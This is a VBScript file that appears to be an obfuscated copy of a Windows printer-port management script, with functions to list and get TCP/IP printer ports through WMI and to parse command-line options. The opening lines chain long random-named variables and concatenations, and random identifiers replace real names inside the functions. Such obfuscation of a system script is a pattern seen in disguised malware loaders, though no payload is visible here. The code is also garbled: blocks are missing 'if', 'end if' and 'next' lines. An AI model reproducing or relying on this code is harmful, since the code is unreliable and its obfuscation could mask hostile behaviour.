ORHenSdjgxTPLNBZaNnFIFAoMqUsUuCqBrGASwCdlzTdJEKfuAZUWrCDJuuIRtfPjPMvshZaDqEuTpSwzwtUEweLpwKOnHiGaEBGCGTdeuxljHVeoxaSNfXZesRAYRyeZvzNdMJXDiFaXUtkrGJQfiVbluKYOyozBjYuaxJkkF = 0

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr POrjrkcoxEQHjNyaBONNKSJssSytEgatNTdAmbLNibvLOGygsmBwaByzeiNhOgYTrKuMRXjDdRNhhURqhIeBEvXRNXmByoJSwNdUhbxZswYKkTorGEyyNilBnrgXrnsLzjbWsxSjiDaVdEGKLvDRXyLcKmzpdTysjOUuJwBMGV & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & UvzlurzSjlUkVfkMrNUpLNbuyDIjhcUDMeyEaBIcfAIQucTqgBTaxbWpOUmaBBGTJEVeFKjXapuMEhXjwztOajKTmJkRQzmibViBdoSBfXhmxcMhFznmEkrPQRxgAWcCNAlHAnlaClAIoxCeSbKuXZCtDOPmZIhdMVwbCjiMag

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr sUVRYGJYCMiGiumVcrUyckPROeikDuoyRYlnItxFGkhnMYdBUoHVlmAmTqJFxbXbUUMuRcNHvcKASicuyRbQyjidjIOwkHrAwJKpFMrCtHjgIfeBnVOlvwEcGwVQBZLfHjNFbwWEVKdaSzvgtxqoHdMGwrNbQPdbIrEtPJTsKq & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.FqDewpnTVGdNiYBSOjKTkqxQHAMIjaSPXDdUSEUsLulQfxKeIXZensVAhqIyvtoAFxuGmgosPDbYHPWgPxfWopPBWyGZZGrysGqyKBNwGNRwTzfHwqXRSwIoNHIegDvXVJyHPNcwHgAkOfahygjlUUeQe

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr ZEmlSPbnbgphWvDDWjnshwTRejKSCsbaXbNaDPvMzhCqbNxtYgGKYasKlVReyfJOSSWInFZusdcpKGfYjgJCUQqYTShdSwbibvLPlZzlJzHGqShcYPevPJVEfEQFlOQhxxhFdkUtYnkNynftwJLMgyXENJiLgXzJwhPwlnbsmK & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.BfiEkjBeHIASGmZmdBRdmtYavziJymOnlctuxaJlujVkaJdgLTNXzTjPIrpTfSnoHoUDXGbimoZWKCQKSouRSXBOaEiGrVaVaVawGPocOCbuHeOFkEjQeJqGhcxPJGIOEjNWvlLvnCyuQoTEmVclTsUtn

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr AKMdVzJGxuTNqtaYkWWDsQOsMPPkxKakvVhxsqqJDCoibIWyUfubFlydCMmDTVQuXUgfJsivYhBRUTzveWBEEGusEhgDuXCIuMSEtIbnMpNLcRnEwcbnkzZNypvzoyRawaTgbzcWtqnwtESEtJGFKmXOTRyBSOOcpAwonMdaws & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.bXhxXxgbJleKXprQNjPrVWHrivBlxwbNwfOlxYncXnmHlnSjxPnBnMQelvOchXdBrWJSyeUHmqDEELKOZjVoZDruZKsVZbYEhLXxacdKfGUKsmXDBLgcGnYgkdgzPOjrlwagiZmBtpDgLAzVEsBNhFYTK

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr zSXXQNHxOPWIBNKmcdpjanrTIapWveXwsfPSrjoKrVTzXZruBfwLFXqiFUXCyPDzeXfdBfAMwtDJnUrCJNaFcJFvqmaqtJxSnbtyIKaKoDPlmubQrTQxqGcuvhgkIJEKpciffLgtyYcmZdPnQEVIhoetmcGwfQwaXynTuFHvAx & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.gNxlpCFzgMVdYQFJIacByDaovyuvxUbSUyVMGjPEMpikwAmTrzXWghDYdkKAnQBoXTkECgPRNqunUOlsjGqDNAyiLVbhXANZdaAvJhqoUIRNyuDnALQfIEMQsnByeLEFcTNOcxZCIrHBNBNHhjTLHcUzH

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr mSLTuMgevEHEnNMiglfbZASaqFSnAYsbRmmSBCFZlpJfzTOJFkFHOipBbNywjtRttvTqMQQyDcOMYvNODVreMLfBaEkKELZQUiTvQzZdpHVqytFHSvbzLfiIHlcQZJFgPmambVNNeXSBJqkvmzSHlwoozbruVQXlKqcZdVLUfp & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.YJPHjZEtrMVmrgyjVqnclBAATvLPqTyVrozjiwxWOFUyxiFPHORGmEjcQKcartNNIkrUUPtFNksaguqkOelsNDdBUuymsjrOxCfpFJNKsxcemxdoRWfABkgDLEEtHHqWRuKtMwLSKDrHNkZPXCFbrqSQm

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr bMsoaoOOuxfnSpVERjdjKDGxflrMQFbWqMbtkgMXxeqPeerIGRmtDnWYLAZhSuOfeWNhbuTRzjKGWGewIamxFFEQFdpOTlSuWuKiVzWcqiMPZcetIjkXQabFmpkyagSEDaQhBoagsKBcwoeRPpgEmTAVGtBcKFZBgDHneYgssQ & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.KTVnMZMXgctlTWPUHSrMsXChLXmitqVOqaRHBXWYFXOqvXlWvjQuWxQtTcFLfOkToNbmQpycjfbJmaJUymMfBtNxffdwYlsYYXcjjVRfrCaKCKjixOQoIkalOvAKqvifviIhuiPCYDwwxvcdldISgOYIS

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr hUlZbcCRQoeOktoPjzIWndvDAbbmPijIiYGTZmDAtNiRmqDEKFMEwoFXxTWHRQVAuBvnddNmAMpGFvJtXhzTVXftTHwBbLsJFnhliYfVEmPqvvwrqsjTUliLfSuRAuuWLYqZAJniETduZPIKTjncdyVtOMsIooQSxGmVYpUPSX & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.EBhPzuPgMsYFbPPIWiwzORUVkukcxWkapPogzrrzpQryVqbPeVRAmRwDIHYVnWBlcozcZjZMJfvBhvHrvoUeakUZUQmApfUdfoRRjyuExqjHVpKXTVWprenDjFBQIHQJPgEZZFZVovWhtwoxNjvlJFzBK

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr sqqAYRauGfexVfgGvFPwvaYtumrLsVfCCCjUWUSOFCZwwRASwilKCWNGQmzmfwSKqJDwBgrazVSsBqeSsTWCrRMwoENyiCBZzftujvGQWhcFfDyvhhjZLXckpnSShHkYbCDdyNorrBExDrcPHNlUmGNauzBlGgZLrODglWKTSD & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.GfMcCBuyYNqFtAAiLZSkWlQrpVsLIsPbXhVNSSrAsNukweYRqirTVzUmPjLROPhIOhsCsWSdJozlHEQvExfpWkNNfPWJJJdwoCBDhCDTpdEPgpKdZNHOBEgXhApUWWPeDewpZJGoYxznrGOLWmACwpcxs

MQxkPIAvNLnUElZAWFRqPXtyQyXrHKJGgKqrsgOkROBjuWKBFSmOzIrmBOQmSUVIXwCuSjrHSDUuWZODXasKJLoqDtJOaittnylLZxnsVyjckUYqmmsveLeLWVTgvHRNDBiMxTGQPhxxpvqZvLzxrdBOMuAijChgIgAjrcmQDD = tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.EYRyZEALfmjMqPcKTHSmUYQSJOIwtMHIxitFHSMANJnCKiGWbNulgVWghywjrIBfLYNSyJLGgdBsRfqXVoweHYhexyReLvyXlpmsKzbCsrhTlIZfNCHDBBzkNYKKelEMtdclMUkXsUptUFxfzYJeqxGpVqPhbbnmbWCoXHYfNT

if XhICPlUKveSWask(MQxkPIAvNLnUElZAWFRqPXtyQyXrHKJGgKqrsgOkROBjuWKBFSmOzIrmBOQmSUVIXwCuSjrHSDUuWZODXasKJLoqDtJOaittnylLZxnsVyjckUYqmmsveLeLWVTgvHRNDBiMxTGQPhxxpvqZvLzxrdBOMuAijChgIgAjrcmQDD) = (wcxqgVrEnSxNjXrvolDDTLHVMQKSJNqzrDrVEvzIHgYhDrqOfjCqQZgmdNRuUslSzNCBZpsENnVdZKHyNWMUjAeHMfpBXGtzYDoqAxnGbXsXBJZGfwZuxpPYuSsJeNPHHJmWGVtlnpizpXezquCBnMLwQppreYFekDANTccmJh + EYbRWNXiSPMRtowryFFZwxoedrRpLDRoTgUFJoeBmuEAWPdbCumwlVhzHWzVVOsHuSIMctqVBOsDbxDDZAbzrRPpjQTAIflQuxeAIhqEYZmjbmMNlgaMLBZWUWFmGMowCevCufSSsIIHGSpulbFlaktIMxPwnqnHvtfluiXsyi) then

mxGnWUnbmyDvNuRvnjvyyXokqLkVcmXpEejRwLqQlkFnCQHzWolqTzYHDzDZIMrjCVoleMZEezohTJIqLgiMDYWfWtPuSEOHLZXOeoXQCOypvFFQCPohawciRDLosNbpeCQPXttrSiCRyvJNIqmvknTbnEFVumhVMQeTxuSVTv tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.EYRyZEALfmjMqPcKTHSmUYQSJOIwtMHIxitFHSMANJnCKiGWbNulgVWghywjrIBfLYNSyJLGgdBsRfqXVoweHYhexyReLvyXlpmsKzbCsrhTlIZfNCHDBBzkNYKKelEMtdclMUkXsUptUFxfzYJeqxGpVqPhbbnmbWCoXHYfNT

end if

Err.BUApaeVFkEaaSfRsaduaMTjIfmgkjrJFZFEfbEtTKGmTDiFtCpBUpmRtyWXPlDeHIqViNgRmVDwkcsxNRWbcXoCDpszLkzVLZurjHbDPrkMmTLRObKHfhmHMHJYUIUFMEIqRPYgBtVsqmZvtCAttiKGaJRKowKIfsvFXHiEPdm

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr fRqqtHiFAkBRjCrUTebwyRuSNrErvLVzODhHZdrsmfrYYYgBKEiZLLpflyTTFToClGTPWMXKcKmGNkGmFgTeYEoItxaBWxsFsDafWTXuQLCbvqxQfWHXoqqMDdZtkDHKKUvvOxiEkRGPNSfoDNGiZsVKDTsGQBybbkOneDRQSV & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & ORHenSdjgxTPLNBZaNnFIFAoMqUsUuCqBrGASwCdlzTdJEKfuAZUWrCDJuuIRtfPjPMvshZaDqEuTpSwzwtUEweLpwKOnHiGaEBGCGTdeuxljHVeoxaSNfXZesRAYRyeZvzNdMJXDiFaXUtkrGJQfiVbluKYOyozBjYuaxJkkF

RjDneIvupyWiNmlnwAfqmtnBWkdIrXmdOyoSeSCONDmosZaGjHlLyrjtTzKVaCDqXzerAXblleDNQWEPCczACaLVRYRYgauCupNuTDFpqQdLrJCHqGmYppgljCTWitNgUUHbMgqmZreaFiqhiUsLLwbYKdbhkZpPoECleEBHtf = zeNeuTxRIgNDXceSTyJnePrLjojgmCVQmyHTFfNKbOruhYURoJFRUSsiQYrwuBHQbSXOmWbBTqOFeiAULpGhUfDQcmvECIYYRdOblRulbyZNViNJAOdbScofRDObZghjXPltrODSIKXTDPHEgpZrrnDheqOLpNGGhdLhplQeWc

end function

function ListPorts(oParamDict)

on error resume next

DebugPrint kDebugTrace, uToJAfIvdcjDkOLyYxKLhiTyfjPLxcPAWlsjgOwedznvhDdgRJdYPUWtrJeOyiQuAZoSyyDqoYqxRAZtrITLOtoVHwvqNzDvVKeUSHVQPxRZwxcITTCGAVQpEoqteuHkDJoCIeLcHtTkOGJuYGFQtFlDnacQWYZbBJIcCnorCy

dim Ports

dim oPort

dim oService

dim iRetval

dim iTotal

dim strServer

dim strUser

dim strPassword

iResult = kErrorFailure

strServer = oParamDict(kServerName)

strUser = oParamDict(kUserName)

strPassword = oParamDict(kPassword)

if WmiConnect(strServer, ulGLpqIhkZgVAQqUnZdesuWtZOkpbHUdCoOseVghMnPKrPjZlXEoTiDmANKxljCkFGxCyKzLtVQjKPIFkZQiyiPWNpbKSoqlakgEALkVGRqVXIzCIeSYKSpczPFdsUcGyOapLiTtKvxvlkkBDAZMPviugJNQOjIrMDujIdAHwk, strUser, strPassword, oService) then

set Ports = oService.InstancesOf("Win32_TCPIPPrinterPort")

else

ListPorts = kErrorFailure

exit function

end if

if Err.Number <> kErrorSuccess then

wscript.echo L_Text_Msg_General06_Text & L_Space_Text & L_Error_Text & L_Space_Text _

& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description

ListPrinters = kErrorFailure

exit function

end if

iTotal = 0

for each oPort in Ports

iTotal = iTotal + 1

wscript.echo L_Empty_Text

wscript.echo L_Text_Msg_Port01_Text & L_Space_Text & strServer

wscript.echo L_Text_Msg_Port02_Text & L_Space_Text & oPort.Name

wscript.echo L_Text_Msg_Port03_Text & L_Space_Text & oPort.HostAddress

if oPort.Protocol = 1 then

wscript.echo L_Text_Msg_Port04_Text

wscript.echo L_Text_Msg_Port06_Text & L_Space_Text & oPort.PortNumber

else

wscript.echo L_Text_Msg_Port05_Text

wscript.echo L_Text_Msg_Port07_Text & L_Space_Text & oPort.Queue

if oPort.ByteCount then

wscript.echo L_Text_Msg_Port08_Text

else

wscript.echo L_Text_Msg_Port09_Text

end if

if oPort.SNMPEnabled then

wscript.echo L_Text_Msg_Port10_Text

wscript.echo L_Text_Msg_Port12_Text & L_Space_Text & oPort.SNMPCommunity

wscript.echo L_Text_Msg_Port13_Text & L_Space_Text & oPort.SNMPDevIndex

else

wscript.echo L_Text_Msg_Port11_Text

end if

Err.Clear

wscript.echo L_Empty_Text

wscript.echo L_Text_Msg_General07_Text & L_Space_Text & iTotal

ListPorts = kErrorSuccess

end function

' Gets the configuration of a port

function GetPort(oParamDict)

on error resume next

DebugPrint kDebugTrace, L_Text_Dbg_Msg04_Text

DebugPrint kDebugTrace, L_Text_Msg_Port01_Text & L_Space_Text & oParamDict(kServerName)

DebugPrint kDebugTrace, L_Text_Msg_Port02_Text & L_Space_Text & oParamDict(kPortName)

dim oService

dim oPort

dim iResult

dim strServer

dim strPort

dim strUser

dim strPassword

iResult = kErrorFailure

strServer = oParamDict(kServerName)

strPort = oParamDict(kPortName)

strUser = oParamDict(kUserName)

strPassword = oParamDict(kPassword)

set oPort = oService.Get("Win32_TCPIPPrinterPort.Name='" & strPort & "'")

else

GetPort = kErrorFailure

exit function

end if

if Err.Number = kErrorSuccess then

wscript.echo L_Empty_Text

wscript.echo L_Text_Msg_Port01_Text & L_Space_Text & strServer

wscript.echo L_Text_Msg_Port02_Text & L_Space_Text & oPort.Name

wscript.echo L_Text_Msg_Port03_Text & L_Space_Text & oPort.HostAddress

if oPort.Protocol = 1 then

wscript.echo L_Text_Msg_Port04_Text

wscript.echo L_Text_Msg_Port06_Text & L_Space_Text & oPort.PortNumber

else

wscript.echo L_Text_Msg_Port05_Text

wscript.echo L_Text_Msg_Port07_Text & L_Space_Text & oPort.Queue

if oPort.ByteCount then

wscript.echo L_Text_Msg_Port08_Text

else

wscript.echo L_Text_Msg_Port09_Text

end if

if oPort.SNMPEnabled then

wscript.echo L_Text_Msg_Port10_Text

wscript.echo L_Text_Msg_Port12_Text & L_Space_Text & oPort.SNMPCommunity

wscript.echo L_Text_Msg_Port13_Text & L_Space_Text & oPort.SNMPDevIndex

else

wscript.echo L_Text_Msg_Port11_Text

end if

iResult = kErrorSuccess

else

wscript.echo L_Text_Msg_General03_Text & L_Space_Text & L_Error_Text & L_Space_Text _

& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description

' Try getting extended error information

call MXFWflrEwpLoTFcvFWAFaFHsiHUptncsTOEuoAkTuPlmrpMMTkHSsNomCzjAStEjOgzqQXfbNBntsKOjBEjlZdEVXroPfzfXRynRuxOMnKwNvKugpQCMAeohdBxFHYAyiKUOYwfaAqUUvBdMAPEzTwdBieHEmrBilxzcQsPliL()

end if

GetPort = iResult

end function

' Debug display helper function

sub DebugPrint(uFlags, strString)

if gDebugFlag = true then

if uFlags = kDebugTrace then

wscript.echo L_Debug_Text & L_Space_Text & strString

end if

if uFlags = kDebugError then

if Err <> 0 then

wscript.echo L_Debug_Text & L_Space_Text & strString & L_Space_Text _

& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _

& L_Space_Text & Err.Description

end if

end sub

' Parse the command line into its components

function ParseCommandLine(iAction, oParamDict)

on error resume next

DebugPrint kDebugTrace, L_Text_Dbg_Msg05_Text

dim oArgs

dim iIndex

iAction = kActionUnknown

set oArgs = Wscript.Arguments

while iIndex < oArgs.Count

select case oArgs(iIndex)

case "-g"

iAction = kActionGet

case "-t"

iAction = kActionSet

case "-a"

iAction = kActionAdd

case "-d"

iAction = kActionDelete

case "-l"

iAction = kActionList

case "-2e"

oParamDict.Add kDoubleSpool, true

case "-2d"

oParamDict.Add kDoubleSpool, false

case "-s"

iIndex = iIndex + 1

oParamDict.Add kServerName, RemoveBackslashes(oArgs(iIndex))

case "-u"

iIndex = iIndex + 1

oParamDict.Add kUserName, oArgs(iIndex)

case "-w"

iIndex = iIndex + 1

oParamDict.Add kPassword, oArgs(iIndex)

case "-n"

iIndex = iIndex + 1

oParamDict.Add kPortNumber, oArgs(iIndex)

case "-r"

iIndex = iIndex + 1

oParamDict.Add kPortName, oArgs(iIndex)

case "-o"

iIndex = iIndex + 1

oParamDict.Add kPortOFMQppNRfadvbNTvPURNDtSXPiWZghVaaMJgmlbZdlqgCWYKmLTQTQVRoIDAFJSAJcycxBBMkptLCAcIjSgyjkfgRxmRLwrobXlmbdRbWxKepNWDcqvQEQipuZpFGGaVqZbNIiZNWpDFQOfdKcPrzkuLnDLUCgrfpUJLDKaGth, oArgs(iIndex)

case "-h"

iIndex = iIndex + 1

oParamDict.Add kHostAddress, oArgs(iIndex)

case "-q"

iIndex = iIndex + 1

oParamDict.Add kQueueName, oArgs(iIndex)

case "-i"

iIndex = iIndex + 1

oParamDict.Add kSNMPDeviceIndex, oArgs(iIndex)

case "-y"

iIndex = iIndex + 1

oParamDict.Add kCommunityName, oArgs(iIndex)

case "-me"

oParamDict.Add kSNMP, true

case "-md"

oParamDict.Add kSNMP, false

case "-?"

Usage(True)

exit function

case else

Usage(True)

exit function

end select

iIndex = iIndex + 1

wend

if Err = kErrorSuccess then

ParseCommandLine = kErrorSuccess

else

wscript.echo L_Text_Error_General02_Text & L_Space_Text & L_Error_Text & L_Space_Text _

& L_Hex_Text & hex(Err.Number) & L_Space_text & Err.Description

ParseCommandLine = kErrorFailure

end if

end function

' Display command usage.

sub Usage(bExit)

wscript.echo L_Help_Help_General01_Text

wscript.echo L_Help_Help_General02_Text

wscript.echo L_Help_Help_General03_Text

wscript.echo L_Help_Help_General04_Text

wscript.echo L_Help_Help_General05_Text

wscript.echo L_Help_Help_General06_Text

wscript.echo L_Help_Help_General07_Text

wscript.echo L_Help_Help_General08_Text

wscript.echo L_Help_Help_General09_Text

wscript.echo L_Help_Help_General10_Text

